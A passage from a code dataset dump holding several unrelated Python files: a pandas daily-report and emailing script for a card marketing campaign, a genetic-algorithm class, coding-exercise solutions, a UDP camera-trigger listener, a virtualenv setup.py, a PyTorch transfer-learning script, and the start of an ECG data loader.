FILE_member, encoding=\"utf-8\") # 会员会议\ndf_info = pd.read_csv(PATH + FILE_sales_info, engine='python') # 营销员备案\ndf_card = pd.read_excel(PATH + FILE_card) # 卡激活信息\ndf_error = pd.read_excel(PATH + FILE_error, encoding='utf-8') # 补充表\nt2 = time.time()\nprint('读取完成,耗时%.2fs' % (t2-t1))\n\n\n# 处理员工列表信息\ndef replace_c(x): # 移除逗号comma\n x = str(x)\n x = x.replace(',', '')\n x = x.replace(',', '')\n return x\n\n\ndf_info['客户经理工号'] = df_info['客户经理工号'].fillna(0)\ndf_info['客户经理工号'] = df_info['客户经理工号'].apply(replace_c)\ndf_info['客户经理工号'] = df_info['客户经理工号'].astype('int64')\n\n# 处理卡激活信息\ndf_card['卡激活日期'] = df_card['卡激活日期'].astype('datetime64')\ndf_cheat_card = df_card[df_card['用户手机号'].isnull()]\ndf_cheat_card = df_cheat_card.reset_index(drop=True) # 务必重置索引!否则merge后无法修改数据\ndf_card = df_card.sort_values('卡激活日期', ascending=False) # 按卡激活日期倒序\ndf_card = df_card[df_card['卡激活日期'] >= START_TIME] # 筛选活动开始后的卡激活信息\ndf_card = df_card.fillna(0) # 处理NA\ndf_card['用户手机号'] = df_card['用户手机号'].astype('int64') # 统一手机号数据类型\ndf_card['营销员工号'] = df_card['营销员工号'].astype('int64') # 统一手机号数据类型\ndf_card = df_card.drop_duplicates(subset='用户手机号', keep='first') # 一人多次开卡存在重复项,进行去重\ndf_card = df_card.reset_index(drop=True) # 重置索引\n# print(df_sales['手机号'].dtypes) # int64\n# print(df_card['用户手机号'].dtypes) # float64\n# print(df_member['手机号'].dtypes) # int64\n\n# 创建三个sheet页对应的df\ndf_first = pd.DataFrame(columns=['报名日期', '客户姓名', '客户手机号', '卡产品名称', '卡激活日期', '绑定营销员', '绑定营销员工号', '所属机构'])\ndf_second = pd.DataFrame(columns=['报名日期', '一级客户姓名', '一级客户手机号', '转介绍客户姓名', '转介绍客户手机号', '卡产品名称', '卡激活日期', '绑定营销员', '绑定营销员工号', '所属机构'])\ndf_third = pd.DataFrame(columns=[\"客户姓名\", '客户手机号', '绑定营销员', '绑定营销员工号', '所属机构', '所属职场','邀请激活人数', '具备送蔬菜资格', '具备白金卡升级资格'])\ndf_invalid = pd.DataFrame(columns=['报名日期', '客户姓名', '客户手机号', '卡产品名称', '卡激活日期', '绑定营销员', '绑定营销员工号', '所属机构'])\n\n# 处理会议数据\n# 营销员会议\ndf_sales = df_sales[df_sales['是否报名'] == '是'] # 筛选一级报名客户\ndf_sales = df_sales.sort_values('报名时间', ascending=False) # 按报名时间倒序\ndf_sales = df_sales.reset_index(drop=True) # 倒序后重置索引\narr = range(len(df_sales)-21, len(df_sales)) # 获取最后错误的21行的索引\ndf_sales = df_sales.drop(arr, axis=0) # 删除原表中最后错误的21行\ndf_sales = pd.concat([df_sales, df_error]) # 用正确的21行填充\ndf_sales = df_sales.reset_index(drop=True) # 重置索引\n# 会员会议\ndf_member = df_member[df_member['是否报名'] == '是'] # 筛选二级报名客户\ndf_member = df_member.sort_values(['报名时间'], ascending=False) # 按报名时间倒序\ndf_member = df_member.reset_index(drop=True) # 倒序后重置索引\n\n\n# 处理第一张报名表\n# print('开始处理:<报名表>...')\ndf_first['报名日期'] = df_sales['报名时间']\ndf_first[\"客户姓名\"] = df_sales['姓名']\ndf_first[\"客户手机号\"] = df_sales['手机号']\nsales_card = pd.merge(df_sales, df_card, how='left', left_on='手机号', right_on='用户手机号') # 按手机号匹配营销员会议开卡信息\ndf_first[\"卡产品名称\"] = sales_card['卡产品名称']\ndf_first[\"卡激活日期\"] = sales_card['卡激活日期']\ndf_first[\"绑定营销员\"] = df_sales['邀请报名人']\nsales_info = pd.merge(df_sales, df_info, how=\"left\", left_on='邀请报名人手机号', right_on='手机号') # 按营销员手机号匹配备案信息\ndf_first['绑定营销员工号'] = sales_info['客户经理工号']\ndf_first[\"所属机构\"] = sales_info['二级名称']\ndf_first[\"所属职场\"] = sales_info['三级名称']\n# df_first['序号'] = range(1, len(df_first)+1) # 写入序号\nprint('完成处理:<报名表>')\n\n# 处理第二张转介绍表\n# print('开始处理:<转介绍表>...')\ndf_second['报名日期'] = df_member['报名时间']\ndf_second['转介绍客户姓名'] = df_member[\"姓名\"]\ndf_second[\"转介绍客户手机号\"] = df_member['手机号']\ndf_second['一级客户姓名'] = df_member[\"邀请报名人\"]\ndf_second[\"一级客户手机号\"] = df_member['邀请报名人手机号']\nmember_card = pd.merge(df_member, df_card, how='left', left_on='手机号', right_on='用户手机号')\ndf_second['卡产品名称'] = member_card['卡产品名称']\ndf_second['卡激活日期'] = member_card[\"卡激活日期\"]\nmember_sales = pd.merge(df_member, df_first, how='left', left_on=\"邀请报名人手机号\", right_on='客户手机号')\n# print(member_sales)\ndf_second[\"绑定营销员\"] = member_sales['绑定营销员']\ndf_second['绑定营销员工号'] = member_sales['绑定营销员工号']\ndf_second[\"所属机构\"] = member_sales['所属机构']\ndf_second[\"所属职场\"] = member_sales['所属职场']\n# df_second['序号'] = range(1, len(df_second)+1) # 写入序号\nprint('完成处理:<转介绍表>')\n\n# 处理第三张多重奖励名单\n# print('开始处理:<多重奖励名单>...')\ndf_second_get_card = df_second[df_second['卡激活日期'].notnull()].reset_index(drop=True) # 筛选出转介绍客户已开卡数据\ncount = df_second_get_card['一级客户手机号'].value_counts() # 统计一级客户邀请数量\ndict_count = {'手机号': count.index, '开卡数量': count.values} # series转换为dict\ndf_count = pd.DataFrame(dict_count) # 用此dict格式创建df\ndf_second_get_card = df_second_get_card.drop_duplicates(subset='一级客户手机号') # 多重奖励一级客户去重\ndf_get_card_count = pd.merge(df_second_get_card, df_count, how='left', left_on='一级客户手机号', right_on=\"手机号\")\ndf_get_card_count['开卡数量'] = df_get_card_count['开卡数量'].fillna(0)\ndf_get_card_count['开卡数量'] = df_get_card_count['开卡数量'].astype('int64')\n# print(df_get_card_count)\n\ndf_third['客户姓名'] = df_get_card_count['一级客户姓名']\ndf_third[\"客户手机号\"] = df_get_card_count['一级客户手机号']\ndf_third[\"绑定营销员\"] = df_get_card_count['绑定营销员']\ndf_third[\"绑定营销员工号\"] = df_get_card_count['绑定营销员工号']\ndf_third[\"所属机构\"] = df_get_card_count['所属机构']\ndf_third[\"所属职场\"] = df_get_card_count['所属职场']\ndf_third[\"邀请激活人数\"] = df_get_card_count['开卡数量']\ndf_third[\"具备送蔬菜资格\"] = '否'\ndf_third[\"具备白金卡升级资格\"] = '否'\n\n# 下面操作会产生SettingWithCopyWarning\n# 隐藏warning信息\npd.options.mode.chained_assignment = None # default='warn'\ndf_third['具备送蔬菜资格'][df_third['邀请激活人数'] >= 3] = '是'\ndf_third['具备白金卡升级资格'][df_third['邀请激活人数'] >= 3] = '是'\n\ndf_third = df_third[df_third['客户姓名'].notnull()].reset_index(drop=True) # 筛选出客户姓名非空的行\n# df_third['序号'] = range(1, len(df_third)+1)\nprint('完成处理:<多重奖励名单>')\n\n# 卡激活信息表\n# print('开始处理<卡激活表>')\ndf_card_info = pd.merge(df_card, df_info, how='left', left_on='营销员工号', right_on='客户经理工号')\ndf_card['机构'] = df_card_info['二级名称']\nprint('完成处理:<卡激活表>')\n\n# 无效报名表\n# print('开始处理<无效报名表>')\ndf_invalid_detail = df_first[df_first['绑定营销员'].isnull()]\ndf_invalid_detail_info = pd.merge(df_invalid_detail, df_card, how='left', left_on='客户手机号', right_on=\"用户手机号\")\ndf_invalid['报名日期'] = df_invalid_detail_info['报名日期']\ndf_invalid['客户姓名'] = df_invalid_detail_info['客户姓名']\ndf_invalid['客户手机号'] = df_invalid_detail_info['客户手机号']\ndf_invalid['卡产品名称'] = df_invalid_detail_info['卡产品名称_y']\ndf_invalid['卡激活日���'] = df_invalid_detail_info['卡激活日期_y']\ndf_invalid['绑定营销员'] = df_invalid_detail_info['营销员姓名']\ndf_invalid['绑定营销员工号'] = df_invalid_detail_info['营销员工号']\ndf_invalid['所属机构'] = df_invalid_detail_info['机构']\nprint('完成处理:<无效报名表>')\n\n# 代人激活表\ndf_cheat_card_info = pd.merge(df_cheat_card, df_info, how='left', left_on='营销员工号', right_on='客户经理工号')\ndf_cheat_card['机构'] = df_cheat_card_info['二级名称']\n\n# 获取分公司列表\ncompany_count = df_first['所属机构'].value_counts()\n\nt3 = time.time()\nprint('处理完成,耗时%.2fs' % (t3-t2))\n\nprint('开始写入...')\n# company_names = [name for name in company_count.index]\nfor company in company_count.index:\n writer = pd.ExcelWriter(PATH + '..//内蒙古%s活动日报数据'%company + TIME + '.xlsx')\n # 按公司分别筛选表\n df_first_company = df_first[df_first['所属机构'] == company]\n df_second_company = df_second[df_second['所属机构'] == company]\n df_third_company = df_third[df_third['所属机构'] == company]\n df_card_company = df_card[df_card['机构'] == company]\n df_cheat_card_company = df_cheat_card[df_cheat_card['机构'] == company]\n df_invalid_company = df_invalid[df_invalid['所属机构'] == company]\n # 分别写入\n df_first_company.to_excel(writer, sheet_name='报名表', index=False)\n df_second_company.to_excel(writer, sheet_name='转介绍表', index=False)\n df_third_company.to_excel(writer, sheet_name='多重奖励名单', index=False)\n df_card_company.to_excel(writer, sheet_name='卡激活信息', index=False)\n df_invalid_company.to_excel(writer, sheet_name='无效报名', index=False)\n df_cheat_card_company.to_excel(writer, sheet_name='代人激活表', index=False)\n writer.save()\n print('%s报表写入完成'%company)\n print(\"开始发送%s邮件\"%company)\n send_email.send_mail(PATH, company)\n\nprint('开始写入汇总数据')\nwriter = pd.ExcelWriter(PATH + '..//内蒙古汇总活动日报数据' + TIME + '.xlsx')\ndf_first.to_excel(writer, sheet_name='报名表', index=False)\ndf_second.to_excel(writer, sheet_name='转介绍表', index=False)\ndf_third.to_excel(writer, sheet_name='多重奖励名单', index=False)\ndf_card.to_excel(writer, sheet_name='卡激活信息', index=False)\ndf_invalid.to_excel(writer, sheet_name='无效报名', index=False)\ndf_cheat_card.to_excel(writer, sheet_name=\"代人激活表\", index=False)\nwriter.save()\nprint('汇总数据写入完成')\nprint(\"开始发送汇总邮件\")\nif datetime.datetime.now().isoweekday() == 5:\n send_email.summary_mail(PATH)\n\nt4 = time.time()\nprint('写入完成,耗时%.2fs' % (t4-t3))\nprint('今日报表已完成\\n共耗时:%.2fs' % (t4-t1))\n","sub_path":"work/1912/Auto_daily.py","file_name":"Auto_daily.py","file_ext":"py","file_size_in_byte":12398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"69982879","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 29 17:44:30 2016\n\n@author: Alon\n\"\"\"\nimport random\nfrom math import exp\nimport numpy as np\n#import DNA as dna\n\nclass population:\n def __init__(self, dnaArgs, populationSize=20,hotStart=None,bestMovesOn=0):\n self.bestMovesOn = bestMovesOn\n self.populationSize = populationSize\n self.DNAobjects = []\n if hotStart == None:\n for i in range(self.populationSize):\n self.DNAobjects.append(dnaArgs['dna'].DNA(dnaArgs['args']))\n else :\n for i in range(hotStart['numOfGenes']):\n self.DNAobjects.append(dnaArgs['dna'].DNA(dnaArgs['args'],genes=hotStart['genesList'][i]))\n for i in range(hotStart['numOfGenes'],self.populationSize):\n self.DNAobjects.append(dnaArgs['dna'].DNA(dnaArgs['args']))\n\n\n def evaluate(self):\n self.fitList = []\n self.maxFit = 0\n self.maxFitScore = 0\n fitScoreSum = 0\n for i in range(self.populationSize): # geting fit results\n fit = self.DNAobjects[i].fitness()\n self.fitList.append(fit)\n if fit > self.maxFit :\n self.maxFit = fit\n for i in range(self.populationSize): # geting fitScore results\n self.DNAobjects[i].fitScore = self.DNAobjects[i].calcFitScore(self.DNAobjects[i].fit)\n fitScoreSum += self.DNAobjects[i].fitScore\n for i in range(self.populationSize): # geting normelaizing fitScore results\n self.DNAobjects[i].fitScoreNorm = self.DNAobjects[i].fitScore * 100 / fitScoreSum\n\n def selection(self):\n newDNAobjects = []\n if self.bestMovesOn > 0: \n newDNAobjects = self.finedBestPerents() \n for i in range(self.populationSize - len(newDNAobjects)):\n perentA = self.selectDNAobject()\n perentB = self.selectDNAobject(dontSelectPerent=i)\n child = perentA.crossover(perentB)\n child.mutate()\n newDNAobjects.append(child)\n self.DNAobjects = newDNAobjects\n\n def selectDNAobject(self,dontSelectPerent=-1):\n if dontSelectPerent == -1 :\n dontSelectPerent = self.populationSize\n while True:\n perent = random.randint(0, self.populationSize - 1)\n if dontSelectPerent == perent :\n continue\n noSuccses = random.randint(0, 1000)\n if noSuccses < self.DNAobjects[perent].fitScoreNorm*10 :\n return self.DNAobjects[perent]\n\n def getBestGenes(self):\n maxFit = 0\n maxFitIndex = 0\n for i in range(self.populationSize):\n if self.DNAobjects[i].fit > maxFit:\n maxFit = self.DNAobjects[i].fit\n maxFitIndex = i\n return self.DNAobjects[maxFitIndex].genes\n\n def getSortedEvaluations(self):\n copyList = self.fitList.copy()\n copyList.sort()\n return copyList\n \n def getSortedPercentage(self):\n fitScoreNormList = []\n for i in range(self.populationSize):\n fitScoreNormList.append(self.DNAobjects[i].fitScoreNorm)\n fitScoreNormList.sort()\n return fitScoreNormList\n \n def finedBestPerents(self):\n fitScoreNormList = []\n for i in range(self.populationSize):\n fitScoreNormList.append(self.DNAobjects[i].fitScoreNorm)\n sortedIndexList = np.argsort(fitScoreNormList)[::-1] \n newDNAobjects = []\n for i in range(self.bestMovesOn):\n newDNAobjects.append(self.DNAobjects[sortedIndexList[i]])\n return newDNAobjects\n \n \n \n \n \n \n \n","sub_path":"mlo_25_3_2017/geneticLib/population.py","file_name":"population.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"414206866","text":"# 문제: https://www.acmicpc.net/problem/6159\n# 풀이: 바이너리 서치를 이용해 선택한 소와 함께 코스튬에 들어갈 수 있는 소의 수를 센다.\n\nimport bisect\nn, s = map(int, input().split())\ncows = [int(input()) for _ in range(n)]\nsorted_cows = sorted(cows)\ncount = 0\nfor i in range(n):\n pos = bisect.bisect(sorted_cows, s - sorted_cows[i])\n if i < pos: \n count += pos - i - 1\nprint(count)\n","sub_path":"baekjoon/greatstone/6159.py","file_name":"6159.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"386255397","text":"\"\"\"\nConstrua uma função que desenhe um retângulo usando os caracteres ‘+’ , ‘−’ e ‘| ‘. \nEsta função deve receber dois parâmetros, linhas e colunas,\nsendo que o valor por omissão é o valor mínimo igual a 1e o valor máximo é 20.\nSe valores fora da faixa forem informados, eles devem ser modificados para valores dentro da faixa de forma elegante.\n\"\"\"\n\n\ndef moldura(lin=1, col=20):\n def tam(n):\n n = 1 if n < 1 else n\n n = 20 if n > 20 else n\n return n\n\n lin = tam(lin)\n col = tam(col)\n\n for c in range(1):\n print(f'+{\"-\" * col}+')\n for l in range(lin):\n print(f'|{\" \" * col}|')\n print('+' + '-' * col + '+')\n\n\nmoldura()\nmoldura(3, 15)\nmoldura(-1, 9) # linha menor\nmoldura(5, 49) # coluna maior\nmoldura(-2, -3) # ambos errado\n","sub_path":"05_Exercicios_Funcoes/13-Moldura.py","file_name":"13-Moldura.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"560827101","text":"\"\"\"\nDESCRIPTION:\nThe notorious Captain Schneider has given you a very straight forward mission. Any data that comes through the system make sure that only non-special characters see the light of day.\n\nCreate a function that given a string, retains only the letters A-Z (upper and lowercase), 0-9 digits, and whitespace characters. Also, returns \"Not a string!\" if the entry type is not a string.\n\"\"\"\n\ndef nothing_special(s):\n # Verifico si la entrada es una cadena de texto:\n if not isinstance(s, str):\n return \"Not a string!\"\n \n # Creo una cadena de caracteres permitidos que incluya letras mayúsculas y minúsculas, dígitos y espacios en blanco:\n allowed_chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 \"\n \n # Filto la cadena original para mantener sólo los caracteres permitidos:\n filtered_string = ''.join(c for c in s if c in allowed_chars)\n \n return filtered_string\n","sub_path":"PYTHON/Nothing special.py","file_name":"Nothing special.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"173903028","text":"from gevent.server import DatagramServer\nimport time\nfrom tasks import captureImage\nfrom datetime import datetime\nimport logging\nimport uuid\n\nlogger = logging.getLogger(__name__)\n\n\nclass UDPListener(DatagramServer):\n\n def __init__(self, **kwargs):\n self.config = kwargs['config']\n self.cap = kwargs['camera']\n super(UDPListener, self).__init__(\"{}:{}\".format(kwargs['ip'], kwargs['port']))\n\n def handle(self, data, address):\n logger.info(\"Receive UDP command.\")\n try:\n msg = self.parsing(data.split())\n captureImage.schedule(args=(msg, self.cap), eta=datetime.fromtimestamp(msg['TriggerTime']))\n except ValueError as e:\n print('Parsing Failed. Error Msg.: {}'.format(e.message))\n\n def parsing(self, data):\n # Check UDP Package\n if len(data) == 8 and data[1] in ['Cloud', 'Sensor', 'Timer']:\n triggertime = time.strptime(data[6]+' '+data[7], '%Y/%m/%d %H:%M:%S.%f')\n timestamp = time.mktime(triggertime)\n msg = dict(ID=uuid.uuid4(), URL=data[0], Type=data[1], CameraId=data[2], TriggerId=data[3],\n TriggerType=data[1], Resolution=(int(data[4]), int(data[5])), TriggerTime=timestamp,\n TimeStrFormat=self.config['System']['TimeStrFormat'],\n UploadRetry=0,\n UploadRetryMaxim=self.config['Uploader']['UploadRetryMaxim'],\n UploadTimeout=self.config['Uploader']['UploadTimeout'],\n RetryingDelayTime=self.config['Uploader']['RetryingDelayTime'])\n return msg\n else:\n print('Format Error: {}'.format(data))\n","sub_path":"networkservice.py","file_name":"networkservice.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"80620553","text":"import queue\n\ndef using_list(l):\n newl=sorted(l) #here we are setting priority on values as lower the value higher the priority\n for i in range(len(newl)):\n print(f\"Current value at highest priority: {newl.pop(0)}\")\n\ndef using_builtin(l):\n pq=queue.PriorityQueue()\n for i in l: #here we are using built-in approach for priority queue\n pq.put(i)\n\n for i in range(len(l)):\n print(f\"Current value at highest priority: {pq.get()}\")\n\n\ndef using_tuple(l):\n newl=[]\n for i in range(len(l)):\n p=int(input(f'At what priority u want to assign to {l[i]}: '))\n newl.append((p,l[i]))\n newpq=sorted(newl,reverse=True) #here we are assigning priority in reverse order i.e higher the value higher the priority\n # print(newpq)\n for i in range(len(l)):\n print(f\"Current value at highest priority: {newpq.pop(0)}\")\n\n\nif __name__==\"__main__\":\n l=[65,4,12,7,3,8,91,12,55,10]\n print('Using tuple: ')\n using_tuple(l)\n print()\n print()\n print('Using list: ')\n using_list(l)\n print()\n print()\n print('Using built-in method: ')\n using_builtin(l)\n","sub_path":"Data_Structures/Queue/Priority_Queue/PriorityQueue.py","file_name":"PriorityQueue.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"366668109","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport virtualenv\nfrom imp import reload\nfrom codecs import open\nfrom os.path import join\nfrom setuptools import setup, find_packages\n\n# Folder containing setup.py\nroot = os.path.dirname(os.path.abspath(__file__))\n\npython_path = os.getenv('scripting.python.path', None)\nmodule_name = os.getenv('MODULE_NAME', '')\nvenv_name = os.getenv('V_ENV', '.v_env')\nvenv_path = join(root, venv_name)\n\nactivate_files = [join(venv_path, r'Scripts', 'activate_this.py'),\n join(venv_path, r'bin', 'activate_this.py')]\npython_files = [join(sys.prefix, r'bin', 'python'),\n join(sys.prefix, r'Scripts', 'python.exe')]\nrequirements_file = ['requirements.txt']\n\ndef create_venv():\n if not os.path.exists(venv_path):\n try:\n virtualenv.create_environment(venv_name)\n except OSError as err:\n if err.errno == 71 or err.errno == 30:\n virtualenv.create_environment(venv_name, symlink=False)\n else:\n raise err\n\n\ndef get_activate_file():\n for file in activate_files:\n if os.path.exists(file):\n return file\n raise EnvironmentError('virtualenv acitvate file not found %s' % str(activate_files))\n\ndef get_requirements_file():\n for file in requirements_file:\n if os.path.exists(file):\n return file\n raise EnvironmentError('virtualenv requirements file not found %s' % str(requirements_files))\n\ndef get_python_file():\n if python_path is not None:\n return python_path\n for file in python_files:\n if os.path.exists(file):\n return file\n raise EnvironmentError('python file not found %s' % str(python_files))\n\n\ndef reload_imports():\n import pkg_resources\n reload(pkg_resources)\n import setuptools\n reload(setuptools)\n\n\ndef activate_venv():\n with open(get_activate_file()) as f:\n code = compile(f.read(), get_activate_file(), 'exec')\n exec(code, dict(__file__=get_activate_file()))\n\ndef read_version():\n from __version__ import version\n print(\"Project Version: \" + version)\n return version\n\ndef read_requirements():\n rfile = open(get_requirements_file(), 'r').readline()\n content = [line.rstrip('\\n').rstrip('\\r') for line in open(get_requirements_file(), 'r').readlines()]\n return content\n\ncreate_venv()\nactivate_venv()\nreload_imports()\nrequire = read_requirements()\n\n\n\nsetup(\n name=\"pyscript\",\n version=read_version(),\n packages=find_packages(),\n zip_safe=False,\n platforms='any',\n install_requires=require,\n tests_require=[\n 'unittest2',\n 'nose',\n 'coverage',\n 'mock',\n 'responses'],\n test_suite=\"tests\",\n author=\"sumanta\",\n description=\"python scripting support\",\n license=\"\",\n classifiers=[\n 'Development Status :: 1 - Beta',\n 'Environment :: Shell Scripting',\n 'Intended Audience :: Developers',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: Software Development :: Libraries :: Python Modules'\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"488133136","text":"import torch\nimport torchvision.models as models\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\nimport torch.nn as nn\n\n\n\nimport matplotlib.pylab as plt\nimport pandas as pd\nfrom PIL import Image\nimport numpy as np\n\ntorch.manual_seed(0)\n\n\ntrain_csv_file = 'data/training_labels.csv'\nvalidation_csv_file = 'data/validation_labels.csv'\n\ntrain_data_dir = 'data/training_data_pytorch/'\nvalidation_data_dir = 'data/validation_data_pytorch/'\n\nclass Dataset(Dataset):\n\n def __init__(self, csv_file, data_dir, transform = None):\n self.data_dir = data_dir\n self.transform = transform\n self.data_name = pd.read_csv(csv_file)\n self.len = self.data_name.shape[0]\n\n def __len__(self):\n return self.len\n\n def __getitem__(self, idx):\n img_name = self.data_dir + self.data_name.iloc[idx, 2]\n image = Image.open(img_name)\n y = self.data_name.iloc[idx, 3]\n if self.transform:\n image = self.transform(image)\n return image, y\n\n\nmean = [0.485, 0.456, 0.406]\nstd = [0.229, 0.224, 0.225]\ncomposed = transforms.Compose([transforms.Resize((224, 224)),\n transforms.ToTensor(),\n transforms.Normalize(mean, std)])\n\ntrain_dataset = Dataset(transform=composed,\n csv_file=train_csv_file,\n data_dir=train_data_dir)\n\nvalidation_dataset = Dataset(transform=composed,\n csv_file=validation_csv_file,\n data_dir=validation_data_dir)\n\nmodel_r = models.resnet18(pretrained=True)\n\nfor param in model_r.parameters():\n param.requires_grad = False\n\n\nmodel_r.fc = nn.Linear(512, 7)\n\n#Train model\n\ntrain_loader = torch.utils.data.DataLoader(dataset=train_dataset, batch_size=15)\nvalidation_loader = torch.utils.data.DataLoader(dataset=validation_dataset, batch_size=10, shuffle=True)\n\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam([parameters for parameters in model_r.parameters() if parameters.requires_grad], lr=0.003)\n\nn_epochs = 20\nloss_list_r = []\naccuracy_list_r = []\ncorrect = 0\nn_test = len(validation_dataset)\n\n\nfor epoch in range(n_epochs+1):\n loss_sublist = []\n for x,y in train_loader:\n model_r.train()\n optimizer.zero_grad()\n z = model_r(x)\n loss = criterion(z, y)\n loss_sublist.append(loss.data.item())\n loss.backward()\n optimizer.step()\n loss_list_r.append(np.mean(loss_sublist))\n\n correct = 0\n for x_test, y_test in validation_loader:\n model_r.eval()\n z = model_r(x_test)\n _, yhat = torch.max(z.data, 1)\n correct += (yhat == y_test).sum().item()\n\n accuracy = correct/n_test\n accuracy_list_r.append(accuracy)\n\nplt.title(\"Average Loss per Epoch vs Epoch\")\nplt.xlabel(\"Epoch\")\nplt.ylabel(\"Average Loss per Epoch\")\nplt.plot(loss_list_r)\nplt.axis([-.5, 20, 0, 5])\nplt.show()\n\nplt.title(\"Accuracy vs Epoch\")\nplt.xlabel(\"Epoch\")\nplt.ylabel(\"Accuracy\")\nplt.plot(accuracy_list_r)\nplt.axis([-.5, 20, 0, 1])\nplt.show()\n\nmodel_d = models.densenet121(pretrained=True)\n\nfor param in model_d.parameters():\n param.requires_grad = False\n\nmodel_d.fc = nn.Linear(1024, 7)\n#Train model\n\ntrain_loader = torch.utils.data.DataLoader(dataset=train_dataset, batch_size=15)\nvalidation_loader = torch.utils.data.DataLoader(dataset=validation_dataset, batch_size=10, shuffle=True)\n\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam([parameters for parameters in model_d.parameters() if parameters.requires_grad], lr=0.003)\n\nn_epochs = 10\nloss_list_d = []\naccuracy_list_d = []\ncorrect = 0\nn_test = len(validation_dataset)\n\n\nfor epoch in range(n_epochs+1):\n loss_sublist_d = []\n for x,y in train_loader:\n model_d.train()\n optimizer.zero_grad()\n z = model_d(x)\n loss = criterion(z, y)\n loss_sublist_d.append(loss.data.item())\n loss.backward()\n optimizer.step()\n loss_list_d.append(np.mean(loss_sublist_d))\n\n correct = 0\n for x_test, y_test in validation_loader:\n model_d.eval()\n z = model_d(x_test)\n _, yhat = torch.max(z.data, 1)\n correct += (yhat == y_test).sum().item()\n\n accuracy_d = correct/n_test\n accuracy_list_d.append(accuracy_d)\n\n plt.title(\"Average Loss per Epoch vs Epoch\")\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Average Loss per Epoch\")\n plt.plot(loss_list_d)\n plt.axis([-.5, 20, 0, 5])\n plt.show()\n\n plt.title(\"Accuracy vs Epoch\")\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Accuracy\")\n plt.plot(accuracy_list_d)\n plt.axis([-.5, 20, 0, 1])\n plt.show()","sub_path":"DL0320EN-3-1-BuildingModel_PyTorch.py","file_name":"DL0320EN-3-1-BuildingModel_PyTorch.py","file_ext":"py","file_size_in_byte":4633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"386545003","text":"from typing import Optional\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n def __repr__(self):\n return str(self.val)\n\n\nclass Solution:\n def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> Optional[ListNode]:\n if l1 and l2:\n if l1.val <= l2.val:\n first_node = ListNode(l1.val)\n l1 = l1.next\n else:\n first_node = ListNode(l2.val)\n l2 = l2.next\n\n cur_node = first_node\n while l1 and l2:\n if l1.val <= l2.val:\n cur_node.next = ListNode(l1.val)\n cur_node = cur_node.next\n l1 = l1.next\n else:\n cur_node.next = ListNode(l2.val)\n cur_node = cur_node.next\n l2 = l2.next\n\n while l1:\n cur_node.next = ListNode(l1.val)\n cur_node = cur_node.next\n l1 = l1.next\n\n while l2:\n cur_node.next = ListNode(l2.val)\n cur_node = cur_node.next\n l2 = l2.next\n\n return first_node\n\n if not l1 and not l2:\n return None\n\n if not l1:\n return l2\n return l1\n","sub_path":"problem/p_0021_merge_two_sorted_lists/solutions.py","file_name":"solutions.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"29127092","text":"# stub for new python code\nimport unittest\n\ndef dummy_function(param1, param2): \n # stuff\n print(\"function\")\n return 1\n\ndef test_sum():\n assert sum([1, 2, 3]) == 6, \"Should be 6\"\n print(\"test_sum working\")\n \nif __name__ == '__main__': \n # \"Executed when invoked directly\"\n test_sum()\n x = dummy_function(1,2) \n print(\"result of function call\", x)\nelse: \n # \"Executed when imported\"\n print(\"using as package\")","sub_path":"build/lib/example_pkg/full_package_example.py","file_name":"full_package_example.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"205695376","text":"import numpy as np\nimport wfdb\nimport os\nimport pandas as pd\n\nSEQ_SIZE = 512\nNUM_CLASSES = 3\n\n\ndef inputs(data_dir, input_norm=True):\n \"\"\"Load the data and labels.\n Args:\n data_dir: path to the data\n input_norm: boolean, if data should be normalised\n\n Returns:\n X_train: train data\n X_val: validation data\n X_test: test data\n y_train: train labels\n y_val: validation labels\n y_test: test labels\n \"\"\"\n aflu_train = np.empty((1, SEQ_SIZE))\n with os.scandir(data_dir+'aflu') as files:\n for file in files:\n if file.name.endswith('.npy') and file.is_file():\n if file.name[:5] == '04908':\n aflu_val = np.load(data_dir + 'aflu/' + file.name)\n elif file.name[:5] == '07910':\n aflu_test = np.load(data_dir + 'aflu/' + file.name)\n elif aflu_train.size == 0:\n aflu_train = np.load(data_dir + 'aflu/' + file.name)\n else:\n aflu_train = np.concatenate((np.load(data_dir + 'aflu/' + file.name), aflu_train), axis=0)\n\n afib_train = np.empty((1, SEQ_SIZE))\n with os.scandir(data_dir + 'afib') as files:\n for file in files:\n if file.name.endswith('.npy') and file.is_file():\n if file.name[:5] == '07162':\n afib_val = np.load(data_dir + 'afib/' + file.name)\n elif 